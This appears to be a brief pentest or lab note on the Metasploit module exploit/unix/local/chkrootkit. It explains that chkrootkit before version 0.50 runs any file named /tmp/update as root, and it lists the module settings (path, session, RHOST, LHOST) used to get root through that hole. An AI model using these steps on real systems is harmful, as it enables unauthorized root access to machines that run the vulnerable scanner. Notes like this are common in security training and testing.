This thing scans our Linux system for rootkits.

MSF Module to exploit:

Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privilege escalation.

WfsDelay is set to 24h, since this is how often a chkrootkit scan is scheduled by default.

exploit/unix/local/chkrootkit

1. set CHROOTKIT <chrootkit_path>
2. set SESSION <session_id>
3. and set RHOST an LHOST